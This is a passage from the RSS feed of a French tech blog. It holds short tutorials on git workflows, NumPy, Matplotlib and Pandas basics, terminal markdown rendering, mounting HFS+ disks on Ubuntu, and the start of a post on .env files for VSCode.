<pre tabindex="0"><code>git submodule update --recursive
</code></pre><br/>
<h2 id="mettre-à-jour-un-submodule-à-la-dernière-version">Mettre à jour un submodule à la dernière version</h2>
<pre tabindex="0"><code>cd mon_repo_as_submodule
git checkout master &amp;&amp; git pull
cd ..
git add mon_repo_as_submodule
git commit -m &#34;updating submodule to latest&#34;
</code></pre><br/>
<h2 id="gitignore-global">.gitignore global</h2>
<pre tabindex="0"><code>touch ~/.gitignore_global
git config --global core.excludesfile ~/.gitignore_global
</code></pre><br/>
<h2 id="cherry-pick-tous-les-commits-dune-branche-dans-une-autre">Cherry-pick tous les commits d&rsquo;une branche dans une autre</h2>
<pre tabindex="0"><code>git checkout ma-branche-a-updater
git cherry-pick ma-branche-a-updater..source-branch
</code></pre><br/>
<h2 id="différence-entre-git-pull-et-git-pull-rebase">Différence entre git pull et git pull &ndash;rebase</h2>
<p>Point de départ:</p>
<pre tabindex="0"><code>      D---E master
     /
A---B---C---F origin/master
</code></pre><p>Un <code>git pull</code> donnera:</p>
<pre tabindex="0"><code>      D--------E  
     /         \
A---B---C---F----G   master, origin/master
</code></pre><p>Un <code>git pull --rebase</code> donnera</p>
<pre tabindex="0"><code>A---B---C---F---D&#39;---E&#39;   master, origin/master
</code></pre><br/>
<h2 id="ajouter-un-tag-en-2s-shortcuts">Ajouter un tag en 2s (shortcuts)</h2>
<p>Ajouter ceci au fichier <code>~/.zshrc</code></p>
<pre tabindex="0"><code>last_release ()
{
    git describe --abbrev=0 --tags `git rev-list --tags --skip=0 --max-count=1`
}

previous_release ()
{
    last_release
}

last_tag ()
{
    last_release
}

previous_tag ()
{
    last_release
}

last_branches ()
{
    git branch --sort=-committerdate
}

function new_release {
    readonly releaseversion=${1:?&#34;The release version (i.e. new_release vX.X.X) must be specified.&#34;}
    current_branch=$(git rev-parse --abbrev-ref HEAD)
    if [ &#34;$current_branch&#34; != &#34;master&#34; ]; then
        echo &#34;Your are not on master branch. Please switch to it to create a new tag&#34;
    else
        git tag $releaseversion
        git push origin $releaseversion
    fi
}
</code></pre><br/>
<h2 id="convertir-la-remote-url-de-https-en-ssh-et-vice-versa">Convertir la remote URL de HTTPS en SSH et vice-versa</h2>
<pre tabindex="0"><code>alias git-https=&#34;git remote set-url origin https://github.com/$(git remote get-url origin | sed &#39;s/https:\/\/github.com\///&#39; | sed &#39;s/git@github.com://&#39;)&#34;

alias git-ssh=&#34;git remote set-url origin git@github.com:$(git remote get-url origin | sed &#39;s/https:\/\/github.com\///&#39; | sed &#39;s/git@github.com://&#39;)&#34;
</code></pre><br/>
<h2 id="ajouter-une-clé-privé-dans-une-session-ssh-distante">Ajouter une clé privé dans une session SSH distante</h2>
<pre tabindex="0"><code>eval `ssh-agent -s`
</code></pre><br/>
<h2 id="workflow-pour-travailler-en-équipe">Workflow pour travailler en équipe</h2>
<p><strong>Gitflow:</strong>
<a href="http://danielkummer.github.io/git-flow-cheatsheet/">http://danielkummer.github.io/git-flow-cheatsheet/</a></p>
<br/>
<h2 id="commit-convention">Commit convention</h2>
<p><code>&lt;type&gt;(&lt;scope&gt;): &lt;short summary&gt;</code></p>
<p>With Type equals:</p>
<ul>
<li>Changes relevant to the API or UI:
<ul>
<li><strong>feat</strong> Commits that add, adjust or remove a new feature to the API or UI</li>
<li><strong>fix</strong> Commits that fix an API or UI bug of a preceded feat commit</li>
</ul>
</li>
<li><strong>refactor</strong> Commits that rewrite or restructure code without altering API or UI behavior</li>
<li><strong>perf</strong> Commits are special type of refactor commits that specifically improve performance</li>
<li><strong>style</strong> Commits that address code style (e.g., white-space, formatting, missing semi-colons) and do not affect application behavior</li>
<li><strong>test</strong> Commits that add missing tests or correct existing ones</li>
<li><strong>docs</strong> Commits that exclusively affect documentation</li>
<li><strong>build</strong> Commits that affect build-related components such as build tools, dependencies, project version, &hellip;</li>
<li><strong>ops</strong> Commits that affect operational aspects like infrastructure (IaC), deployment scripts, CI/CD pipelines, backups, monitoring, or recovery procedures, &hellip;</li>
<li><strong>chore</strong> Commits that represent tasks like initial commit, modifying .gitignore, &hellip;</li>
</ul>
<br/>
<p><em>Edited 13 november 2016:</em></p>
<p><strong>Better method: Github flow:</strong></p>
<p><a href="https://blogs.technet.microsoft.com/devops/2016/06/21/a-git-workflow-for-continuous-delivery/">https://blogs.technet.microsoft.com/devops/2016/06/21/a-git-workflow-for-continuous-delivery/</a></p>
]]></content>
        </item>
        
        <item>
            <title>Basics Python commands pour Matplotlib, Numpy, Pandas et debugging misc</title>
            <link>https://leandeep.com/basics-python-commands-pour-matplotlib-numpy-pandas-et-debugging-misc/</link>
            <pubDate>Mon, 14 Sep 2015 19:24:00 +0000</pubDate>
            
            <guid>https://leandeep.com/basics-python-commands-pour-matplotlib-numpy-pandas-et-debugging-misc/</guid>
            <description>&lt;p&gt;Voici une liste des commandes de base pour commencer à travailler avec Matplotlib et Pandas et Numpy.
&lt;br/&gt;&lt;/p&gt;
&lt;h2 id=&#34;1-charger-un-dataset&#34;&gt;1. Charger un dataset&lt;/h2&gt;
&lt;p&gt;On charge un dataset basic (fleurs Iris très connu). On s&amp;rsquo;en sert ensuite dans l&amp;rsquo;affichage d&amp;rsquo;un nuage de points avec Matplotlib.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;from sklearn.datasets import load_iris
iris = load_iris()

n_samples, n_features = iris.data.shape
print(n_samples)
print(n_features)

# 150
# 4
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;2-afficher-un-nuage-de-points-scatter-plot&#34;&gt;2. Afficher un nuage de points (scatter plot)&lt;/h2&gt;
&lt;p&gt;On considère travailler avec un array (150,4). Voir point 1.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une liste des commandes de base pour commencer à travailler avec Matplotlib et Pandas et Numpy.
<br/></p>
<h2 id="1-charger-un-dataset">1. Charger un dataset</h2>
<p>On charge un dataset basic (fleurs Iris très connu). On s&rsquo;en sert ensuite dans l&rsquo;affichage d&rsquo;un nuage de points avec Matplotlib.</p>
<pre tabindex="0"><code>from sklearn.datasets import load_iris
iris = load_iris()

n_samples, n_features = iris.data.shape
print(n_samples)
print(n_features)

# 150
# 4
</code></pre><br/>
<h2 id="2-afficher-un-nuage-de-points-scatter-plot">2. Afficher un nuage de points (scatter plot)</h2>
<p>On considère travailler avec un array (150,4). Voir point 1.</p>
<pre tabindex="0"><code># La commande qui suit permet de ne pas avoir de problème avec l&#39;affichage de graphiques dans Jupyter Notebook 
%matplotlib inline
</code></pre><p>Affichage du scratter plot:</p>
<pre tabindex="0"><code>from matplotlib import pyplot as plt

x_index = 1
y_index = 3

# Ce formateur permet de remplacer les index des classes d&#39;iris par leur nom dans la légende
formatter = plt.FuncFormatter(lambda i, *args: iris.target_names[int(i)])

plt.scatter(iris.data[:, x_index], iris.data[:, y_index], c=iris.target)
plt.colorbar(ticks=[0, 1, 2], format=formatter)
plt.xlabel(iris.feature_names[x_index])
plt.ylabel(iris.feature_names[y_index])
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/plot-basics.png" alt="image"></p>
<br/>
<h2 id="3-manipuler-des-numpy-arrays">3. Manipuler des Numpy Arrays</h2>
<p><strong>3.1. Générer un tableau aléatoire</strong></p>
<pre tabindex="0"><code>import numpy as np

X = np.random.random((3,5))
print(X)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[0.74271281 0.89627097 0.95309957 0.48770972 0.3841344 ]
 [0.32855405 0.11656708 0.63427992 0.51111629 0.53846283]
 [0.99568791 0.44366564 0.0842925  0.12422041 0.38149375]]
</code></pre><br/>
<p><strong>3.2. Accéder à des éléments d&rsquo;un numpy array</strong></p>
<pre tabindex="0"><code># Accéder à un seul élément
print(X[0,0])

# Accéder à une ligne
print(X[0,:]) ou print(X[0])

# Accéder à une colonne
print(X[:,0]
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>0.7427128108295802
[0.74271281 0.89627097 0.95309957 0.48770972 0.3841344 ]
[0.74271281 0.32855405 0.99568791]
</code></pre><br/>
<p><strong>3.3. Faire une transposée de Matrice (les lignes deviennent les colonnes)</strong></p>
<pre tabindex="0"><code>print(X.T)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[0.74271281 0.32855405 0.99568791]
 [0.89627097 0.11656708 0.44366564]
 [0.95309957 0.63427992 0.0842925 ]
 [0.48770972 0.51111629 0.12422041]
 [0.3841344  0.53846283 0.38149375]]
</code></pre><br/>
<p><strong>3.4. Faire un range sans être gêné par le dernier élement</strong></p>
<p>Cette méthode permet d’obtenir un tableau à une dimension allant d’une valeur de départ à une valeur de fin avec un nombre donné d’éléments.</p>
<pre tabindex="0"><code># la fonction linspace(premier, dernier, n) évite tout désagrément
np.linspace(1., 4., 6)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code># array([ 1. ,  1.6,  2.2,  2.8,  3.4,  4. ])
</code></pre><br/>
<p><strong>3.5. Incrémenter la dimension d&rsquo;un array</strong>
(Permet également de <strong>convertir explicitement un array à 1 dimension</strong> en un vecteur ligne ou vecteur colonne.)</p>
<pre tabindex="0"><code>A = np.array([2, 0, 1, 8])
print(A)
A.shape

# [2 0 1 8]
# (4,)


B = A[np.newaxis, :]
print(B)
B.shape

# [[2 0 1 8]]
# (1, 4)

C = A[:, np.newaxis]
print(C)
C.shape

# [[2]
  [0]
  [1]
  [8]]
# (4,1)
</code></pre><br/>
<p><strong>Alternatives:</strong></p>
<pre tabindex="0"><code>np.expand_dims(A, 1)  # équivaut à A[:, np.newaxis]
np.expand_dims(A, 0)  # équivaut à A[np.newaxis, :]

ou

A.reshape(A.shape + (1,))  # équivaut à A[:, np.newaxis]
A.reshape((1,) + A.shape)  # équivaut à A[np.newaxis, :]
</code></pre><br/>
<p><strong>3.6. Convertir une liste Python en Numpy Array</strong></p>
<pre tabindex="0"><code>ma_liste = [1,2,3]
x = np.array(ma_liste)
</code></pre><br/>
<p><strong>3.7. Créer un tableau de 20 zéros</strong></p>
<pre tabindex="0"><code>np.zeros(20)
</code></pre><br/>
<p><strong>3.8. Créer un tableau de 20 uns</strong></p>
<pre tabindex="0"><code>np.ones(20)
</code></pre><br/>
<p><strong>3.9. Créer un tableau de 20 neuf</strong></p>
<pre tabindex="0"><code>np.ones(20) * 9
</code></pre><br/>
<p><strong>3.10. Créer un tableau d&rsquo;entiers de 20 à 50</strong></p>
<pre tabindex="0"><code>np.arange(20,51)
</code></pre><br/>
<p><strong>3.11. Créer un tableau d&rsquo;entiers pairs entre 20 et 50</strong></p>
<pre tabindex="0"><code>np.arange(20,51,2)
</code></pre><br/>
<p><strong>3.12. Créer une matrice 3x3 avec les valeurs de 0 à 8</strong></p>
<pre tabindex="0"><code>np.arange(0,9).reshape(3,3)
</code></pre><br/>
<p><strong>3.13. Créer une matrice identité 3x3</strong></p>
<pre tabindex="0"><code>np.eye(3)
</code></pre><br/>
<p><strong>3.14. Générer un nombre aléatoire entre 0 et 1</strong></p>
<pre tabindex="0"><code>np.random.rand(1)
</code></pre><br/>
<p><strong>3.15. Générer un tableau de 25 nombres aléatoires échantillonnés à partir d&rsquo;une distribution normale standard</strong></p>
<pre tabindex="0"><code>np.random.randn(25)
</code></pre><br/>
<p><strong>3.16. Créer un tableau de 50 points espacés linéairement entre 0 et 1</strong></p>
<pre tabindex="0"><code>np.linspace(0,1,20)
</code></pre><br/>
<p><strong>3.17. Calculer la somme de toutes les colonnes d&rsquo;une matrice</strong></p>
<pre tabindex="0"><code>ma_matrice.sum(axis=0)
</code></pre><br/>
<p><strong>3.18. Calculer l&rsquo;écart-type des valeurs d&rsquo;une matrice</strong></p>
<pre tabindex="0"><code>ma_matrice.std()
</code></pre><br/>
<h2 id="4-manipuler-des-scipy-sparse-matrices">4. Manipuler des Scipy Sparse Matrices</h2>
<p>Ces matrices sont parfois utiles lorsque le dataset est extrèmement grand (millions de features) et qu&rsquo;il n&rsquo;y a presque que des 0 pour un échantillon donné.</p>
<p>On crée une matrice avec des données aléatoires</p>
<pre tabindex="0"><code>from scipy import sparse

X = np.random.random((10, 5))
print(X)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[0.74668664 0.28468523 0.31235423 0.85889384 0.44178508]
 [0.42935032 0.12811469 0.10010876 0.44757517 0.85568623]
 [0.52500676 0.81764407 0.32380153 0.41696393 0.46913849]
 [0.38276909 0.93648265 0.19733164 0.42392672 0.75220776]
 [0.71149141 0.21479105 0.93260534 0.44922132 0.1069613 ]
 [0.81701    0.85721634 0.43327147 0.07404298 0.00268589]
 [0.41816508 0.45835663 0.13466681 0.65741327 0.19939561]
 [0.87886815 0.90599216 0.60680106 0.52665484 0.69824682]
 [0.75469648 0.89312007 0.10350947 0.48109062 0.61979146]
 [0.90195641 0.48118575 0.95517067 0.86300827 0.36144463]]
</code></pre><p>On fixe la majorité des éléments à 0</p>
<pre tabindex="0"><code>X[X &lt; 0.7] = 0
print(X)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code> [[0.74668664 0.         0.         0.85889384 0.        ]
 [0.         0.         0.         0.         0.85568623]
 [0.         0.81764407 0.         0.         0.        ]
 [0.         0.93648265 0.         0.         0.75220776]
 [0.71149141 0.         0.93260534 0.         0.        ]
 [0.81701    0.85721634 0.         0.         0.        ]
 [0.         0.         0.         0.         0.        ]
 [0.87886815 0.90599216 0.         0.         0.        ]
 [0.75469648 0.89312007 0.         0.         0.        ]
 [0.90195641 0.         0.95517067 0.86300827 0.        ]]
</code></pre><p>On convertit X en une Matrice CSR (Compressed-Sparse-Row)</p>
<pre tabindex="0"><code>X_csr = sparse.csr_matrix(X)
print(X_csr)
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>  (0, 0)	0.7466866354064811
  (0, 3)	0.858893836600347
  (1, 4)	0.8556862339513924
  (2, 1)	0.8176440715795563
  (3, 1)	0.9364826540107359
  (3, 4)	0.7522077587621511
  (4, 0)	0.7114914132345445
  (4, 2)	0.9326053405778985
  (5, 0)	0.8170100021133657
  (5, 1)	0.8572163407003378
  (7, 0)	0.8788681533625899
  (7, 1)	0.9059921645080171
  (8, 0)	0.7546964834006666
  (8, 1)	0.893120069181746
  (9, 0)	0.9019564067395904
  (9, 2)	0.9551706684658897
  (9, 3)	0.8630082740227074
</code></pre><p>On rétablit la Matrice Sparse en numpy array</p>
<pre tabindex="0"><code>print(X_csr.toarray())
</code></pre><p><em>Résultat:</em></p>
<pre tabindex="0"><code>[[0.74668664 0.         0.         0.85889384 0.        ]
 [0.         0.         0.         0.         0.85568623]
 [0.         0.81764407 0.         0.         0.        ]
 [0.         0.93648265 0.         0.         0.75220776]
 [0.71149141 0.         0.93260534 0.         0.        ]
 [0.81701    0.85721634 0.         0.         0.        ]
 [0.         0.         0.         0.         0.        ]
 [0.87886815 0.90599216 0.         0.         0.        ]
 [0.75469648 0.89312007 0.         0.         0.        ]
 [0.90195641 0.         0.95517067 0.86300827 0.        ]]
</code></pre><br/>
<h2 id="5-visualisation-des-données-avec-matplotlib">5. Visualisation des données avec Matplotlib</h2>
<p><strong>5.1. Afficher une fonction simple</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt

# Afficher une ligne
x = np.linspace(0, 10, 100)
plt.plot(x, np.sin(x))
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/plot2-basics.png" alt="image"></p>
<br/>
<p><strong>5.2. Afficher un nuage de points (scatter plot)</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt

x = np.random.normal(size=500)
y = np.random.normal(size=500)
plt.scatter(x, y)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/scatter-plot-basics.png" alt="image"></p>
<br/>
<p><strong>5.3. Tracer une image</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt

x = np.linspace(1, 12, 100)
y = x[:, np.newaxis]

im = y * np.sin(x) * np.cos(y)

plt.imshow(im)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/draw-image-basics.png" alt="image"></p>
<br/>
<p><strong>5.4. Tracer les contours</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt

x = np.linspace(1, 12, 100)
y = x[:, np.newaxis]

im = y * np.sin(x) * np.cos(y)

plt.contour(im)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/contour-basics.png" alt="image"></p>
<br/>
<p><strong>5.5. Gallerie d&rsquo;exemples</strong></p>
<p>Des centaines d&rsquo;exemples sont disponibles sur le <a href="http://matplotlib.org/gallery.html">site de Matplotlib</a>.
En exécutant la commande suivante dans votre notebook, le code source sera téléchargé. Vous n&rsquo;aurez plus qu&rsquo;à le ré-excuter pour qu&rsquo;un graphique s&rsquo;affiche.</p>
<pre tabindex="0"><code>%load http://matplotlib.org/mpl_examples/pylab_examples/ellipse_collection.py
</code></pre><br/>
<p><strong>5.6. Graphique 3D</strong></p>
<pre tabindex="0"><code># 3D 
from mpl_toolkits.mplot3d import Axes3D

ax = plt.axes(projection=&#39;3d&#39;)
xgrid, ygrid = np.meshgrid(x, y.ravel())
ax.plot_surface(xgrid, ygrid, im, cmap=plt.cm.jet, cstride=2, rstride=2, linewidth=0)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/3d-plots-basics.png" alt="image"></p>
<br/>
<p><strong>5.7. Afficher matplotlib dans Jupyter Notebook et tracer un chart façon objet</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt
%matplotlib inline

import numpy as np
x = np.arange(0,100)
y = x*2
z = x**2

fig = plt.figure()
ax = fig.add_axes([0,0,1,1])
ax.plot(x,y)

ax.set_xlabel(&#39;x&#39;)
ax.set_ylabel(&#39;y&#39;)
ax.set_title(&#39;title&#39;)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/matplotlib-jupyter.png" alt="image"></p>
<br/>
<p><strong>5.8. Afficher une petit chart à l&rsquo;intérieur d&rsquo;un (grand) chart</strong></p>
<pre tabindex="0"><code>import matplotlib.pyplot as plt
%matplotlib inline

import numpy as np
x = np.arange(0,100)
y = x*2
z = x**2

fig = plt.figure()

ax1 = fig.add_axes([0,0,1,1])
ax1.plot(x,y,color=&#39;r&#39;)
ax1.set_xlabel(&#39;x&#39;)
ax1.set_ylabel(&#39;y&#39;)

ax2 = fig.add_axes([.2,.5,.2,.2])
ax2.plot(x,y,color=&#39;r&#39;)
ax2.set_xlabel(&#39;x&#39;)
ax2.set_ylabel(&#39;y&#39;)
</code></pre><p><em>Résultat:</em></p>
<p><img src="/images/matplotlib-chart-in-chart.png" alt="image"></p>
<br/>
<p><strong>5.9. Zoomer sur une partir du chart</strong></p>
<pre tabindex="0"><code>ax2.set_xlim([20,22])
ax2.set_ylim([30,50])
</code></pre><br/>
<p><strong>5.10. Afficher 2 charts les uns à côté des autres</strong></p>
<pre tabindex="0"><code>fig, axes = plt.subplots(nrows=1, ncols=2,figsize=(12,2))

axes[0].plot(x,y,color=&#34;purple&#34;, lw=3, ls=&#39;-&#39;)
axes[1].plot(x,z,color=&#34;red&#34;, lw=3, ls=&#39;--&#39;)
</code></pre><br/>
<h2 id="6-pandas">6. Pandas</h2>
<p><strong>6.1. Charger, convertir un CSV en dataframe et afficher ses 5ère lignes</strong></p>
<pre tabindex="0"><code>import pandas as pd
df = pd.read_csv(&#39;mon_dataset.csv&#39;)
df.head()
</code></pre><br/>
<p><strong>6.2. Afficher le nom des colonnes du dataframe</strong></p>
<pre tabindex="0"><code>df.columns
</code></pre><br/>
<p><strong>6.3. Afficher le nombre d&rsquo;éléments uniques d&rsquo;une colonne d&rsquo;un dataframe</strong></p>
<pre tabindex="0"><code>len(df[&#39;colonne_name&#39;].unique())
# Or
df[&#39;colonne_name&#39;].nunique()
</code></pre><br/>
<p><strong>6.4. Afficher les éléments uniques d&rsquo;une colonne d&rsquo;un dataframe</strong></p>
<pre tabindex="0"><code>df[&#39;colonne_name&#39;].unique()
</code></pre><br/>
<p><strong>6.5. Afficher les 5 groupes de données ayant le plus d&rsquo;éléments dans la colonne X</strong></p>
<pre tabindex="0"><code>df.groupby(&#34;GroupByGroupe&#34;).count().sort_values(&#39;X&#39;, ascending=False).iloc[:5][&#39;X&#39;]
</code></pre><br/>
<p><strong>6.6. Afficher le nombre de fois que des valeurs sont retournées dans les éléments d&rsquo;une colonne</strong></p>
<pre tabindex="0"><code>df[&#39;ma_colonne&#39;].value_counts()
# Pour afficher le top 5
df[&#39;ma_colonne&#39;].value_counts().iloc[:5]
</code></pre><br/>
<p><strong>6.7. Combien de ligne d&rsquo;un dataframe n&rsquo;ont pas la string &ldquo;blabla&rdquo; dans les valeurs de la colonne ma_colonne</strong></p>
<pre tabindex="0"><code>sum(df[&#39;ma_colonne&#39;].apply(lambda nom: &#39;blabla&#39; not in nom))
</code></pre><br/>
<p><strong>6.8. Afficher le nombre de lignes que possède un dataframe ayant la valeur &ldquo;toto&rdquo; dans la colonne ma_colonne</strong></p>
<pre tabindex="0"><code>df[df[&#34;ma_colonne&#34;] == &#34;toto&#34;]
</code></pre><br/>
<p><strong>6.9. Pour une série temporelle, combien d&rsquo;éléments y a-t-il dans notre dataframe avec une date supérieure à l&rsquo;annéee 2020</strong></p>
<pre tabindex="0"><code>sum(pd.to_datetime(df[&#39;date&#39;]).apply(lambda date: date.year) == 2020)
</code></pre><br/>
<p><strong>6.10. Exploser le dict d&rsquo;une colonne d&rsquo;un dataframe</strong></p>
<p>Pour exploser un dictionnaire présent dans une colonne de son dataframe et ajouter les éléments du dictionnaire en tant que nouvelles colonnes dans le même DataFrame d&rsquo;origine, on peut utiliser le code suivant:</p>
<pre tabindex="0"><code>df = pd.concat([df, df[&#39;ma_colonne&#39;].apply(pd.Series)], axis=1)
df.drop(&#39;ma_colonne&#39;, axis=1, inplace=True)
</code></pre><br/>
<p><strong>6.11. Exploser un JSON imbriqué avec un structure hiérarchique</strong></p>
<pre tabindex="0"><code># Utilisez json_normalize pour exploser le dictionnaire dans un nouveau dataframe
new_df = pd.json_normalize(df[&#39;ma_colonne&#39;])

# Ajoutez les colonnes résultantes à votre DataFrame d&#39;origine
df = pd.concat([df, new_df], axis=1)

# Eventuellement supprimez la colonne d&#39;origine contenant le dictionnaire
df.drop(&#39;ma_colonne&#39;, axis=1, inplace=True)
</code></pre><br/>
<p><strong>6.12. Renommer des colonnes</strong></p>
<pre tabindex="0"><code>df.rename(
    columns={
        &#34;ma_ma_colonne1&#34;: &#34;ma_colonne1&#34;,
        &#34;ma_ma_colonne2&#34;: &#34;ma_colonne2&#34;,
    },
    inplace=True,
)
</code></pre><br/>
<p><strong>6.13. Retourner la première ligne d&rsquo;un dataframe dont la valeur est supérieur à 0</strong></p>
<pre tabindex="0"><code>import pandas as pd
condition = df[&#39;ma_colonne&#39;] &gt; 0

# la méthode &#34;loc&#34; permet d&#39;obtenir les lignes qui remplissent la condition
# puis iloc permet de retourner la première
first_row = df.loc[condition].iloc[0]
</code></pre><br/>
<h2 id="debugging-misc">Debugging Misc</h2>
<p><strong>&ldquo;Dumper&rdquo; un objet</strong></p>
<pre tabindex="0"><code>def dump(obj):
   for attr in dir(obj):
       if hasattr( obj, attr ):
           print( &#34;obj.%s = %s&#34; % (attr, getattr(obj, attr)))
</code></pre><br/>
<p><strong>Afficher des couleurs dans le terminal</strong></p>
<pre tabindex="0"><code>print(&#39;\x1b[6;30;42m&#39; + &#39;Success!&#39; + &#39;\x1b[0m&#39;)
</code></pre><p><img src="/images/colors-terminal-basics.png" alt="image"></p>
<p>Voir toutes les couleurs disponibles:</p>
<pre tabindex="0"><code>def print_format_table():
    &#34;&#34;&#34;
    prints table of formatted text format options
    &#34;&#34;&#34;
    for style in range(8):
        for fg in range(30,38):
            s1 = &#39;&#39;
            for bg in range(40,48):
                format = &#39;;&#39;.join([str(style), str(fg), str(bg)])
                s1 += &#39;\x1b[%sm %s \x1b[0m&#39; % (format, format)
            print(s1)
        print(&#39;\n&#39;)

print_format_table()
</code></pre><p>Voici quelques examples:</p>
<p><img src="/images/terminal_few_colors.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Formater un markdown dans le terminal </title>
            <link>https://leandeep.com/formater-un-markdown-dans-le-terminal/</link>
            <pubDate>Tue, 25 Aug 2015 12:28:00 +0000</pubDate>
            
            <guid>https://leandeep.com/formater-un-markdown-dans-le-terminal/</guid>
            <description>&lt;p&gt;Pour avoir le rendu d&amp;rsquo;un markdown directement dans le terminal, c&amp;rsquo;est très simple.&lt;/p&gt;
&lt;p&gt;Installez l&amp;rsquo;utilitaire &lt;code&gt;mdless&lt;/code&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo gem install mdless
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Puis vous pourrez directement avoir le rendu sur un fichier en exécutant la commande suivante:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mdless README.md
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Pour avoir le rendu d&rsquo;un markdown directement dans le terminal, c&rsquo;est très simple.</p>
<p>Installez l&rsquo;utilitaire <code>mdless</code></p>
<pre tabindex="0"><code>sudo gem install mdless
</code></pre><p>Puis vous pourrez directement avoir le rendu sur un fichier en exécutant la commande suivante:</p>
<pre tabindex="0"><code>mdless README.md
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Mount HFS&#43; volume sur Ubuntu</title>
            <link>https://leandeep.com/mount-hfs-volume-sur-ubuntu/</link>
            <pubDate>Sun, 05 Jul 2015 20:36:00 +0000</pubDate>
            
            <guid>https://leandeep.com/mount-hfs-volume-sur-ubuntu/</guid>
            <description>&lt;p&gt;Déterminer le nom du volume HDF+&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo fdisk -l
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Installer le paquet permettant de faire du read/write sur HFS+:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install hfsprogs
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Checker le status d&amp;rsquo;un disque:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo fsck.hfsplus -f /dev/sdd1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Démonter un disque:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo umount /home/olivier/lacie_mount
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Monter le disque avec les droits read/write:
(créer un dossier pour monter le disque au préalable)&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo mount -t hfsplus -o force,rw /dev/sdd1 /home/olivier/lacie_mount
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Déterminer le nom du volume HDF+</p>
<pre tabindex="0"><code>sudo fdisk -l
</code></pre><p>Installer le paquet permettant de faire du read/write sur HFS+:</p>
<pre tabindex="0"><code>sudo apt-get install hfsprogs
</code></pre><p>Checker le status d&rsquo;un disque:</p>
<pre tabindex="0"><code>sudo fsck.hfsplus -f /dev/sdd1
</code></pre><p>Démonter un disque:</p>
<pre tabindex="0"><code>sudo umount /home/olivier/lacie_mount
</code></pre><p>Monter le disque avec les droits read/write:
(créer un dossier pour monter le disque au préalable)</p>
<pre tabindex="0"><code>sudo mount -t hfsplus -o force,rw /dev/sdd1 /home/olivier/lacie_mount
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Charger un fichier .env composé de clés/valeurs pour VSCode dans le terminal</title>
            <link>https://leandeep.com/charger-un-fichier-.env-compos%C3%A9-de-cl%C3%A9s/valeurs-pour-vscode-dans-le-terminal/</link>
            <pubDate>Thu, 02 Jul 2015 22:23:00 +0000</pubDate>
            
            <guid>https://leandeep.com/charger-un-fichier-.env-compos%C3%A9-de-cl%C3%A9s/valeurs-pour-vscode-dans-le-terminal/</guid>
            <description>&lt;p&gt;Travailler avec des fichiers &lt;code&gt;.env&lt;/code&gt; est très utile en développement.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;exemple le plus courant pourrait ressembler à ceci:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export SERVER_URL=&amp;#39;blablabla&amp;#39;
...
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Il suffit de &lt;em&gt;sourcer&lt;/em&gt; ce fichier et tout l&amp;rsquo;environnement d&amp;rsquo;exécution est configuré avec les bonnes variables.&lt;/p&gt;
&lt;p&gt;Par contre, ce pose problème avec des outils comme VSCode. Les mots clés comme &lt;code&gt;export&lt;/code&gt; ne sont pas compatibles. VSCode attend en effet uniquement des fichiers composés de clés/ valeurs.&lt;/p&gt;
&lt;p&gt;Par exemple, la configuration VScode &lt;code&gt;.vscode/launch.json&lt;/code&gt; suivante n&amp;rsquo;est pas compatible avec ce genre de fichiers &lt;code&gt;.env&lt;/code&gt;:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Travailler avec des fichiers <code>.env</code> est très utile en développement.</p>
<p>L&rsquo;exemple le plus courant pourrait ressembler à ceci:</p>
<pre tabindex="0"><code>export SERVER_URL=&#39;blablabla&#39;
...
</code></pre><p>Il suffit de <em>sourcer</em> ce fichier et tout l&rsquo;environnement d&rsquo;exécution est configuré avec les bonnes variables.</p>
<p>Par contre, ce pose problème avec des outils comme VSCode. Les mots clés comme <code>export</code> ne sont pas compatibles. VSCode attend en effet uniquement des fichiers composés de clés/ valeurs.</p>
